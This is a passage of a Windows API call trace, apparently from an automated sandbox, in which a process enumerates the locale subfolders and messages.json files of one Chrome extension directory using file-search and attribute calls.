	[0066.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.350] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127db9f8 | out: lpFileInformation=0x127db9f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcf)) returned 1
	[0066.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs"), fInfoLevelId=0x0, lpFileInformation=0x127dba48 | out: lpFileInformation=0x127dba48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.351] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.351] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864c72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.351] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.351] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.351] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.351] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127dbae8 | out: lpFileInformation=0x127dbae8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864c72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde)) returned 1
	[0066.352] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da"), fInfoLevelId=0x0, lpFileInformation=0x127dbb38 | out: lpFileInformation=0x127dbb38*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.352] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.352] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127dbbd8 | out: lpFileInformation=0x127dbbd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd8)) returned 1
	[0066.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de"), fInfoLevelId=0x0, lpFileInformation=0x127dbc28 | out: lpFileInformation=0x127dbc28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.353] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.353] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.353] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.353] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127dbcc8 | out: lpFileInformation=0x127dbcc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1
	[0066.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el"), fInfoLevelId=0x0, lpFileInformation=0x127dbd18 | out: lpFileInformation=0x127dbd18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.354] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ed410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x864ed410, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.354] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.354] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.354] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127dbdb8 | out: lpFileInformation=0x127dbdb8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1
	[0066.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb"), fInfoLevelId=0x0, lpFileInformation=0x127dbe08 | out: lpFileInformation=0x127dbe08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.355] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.355] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.355] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127dbea8 | out: lpFileInformation=0x127dbea8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0)) returned 1
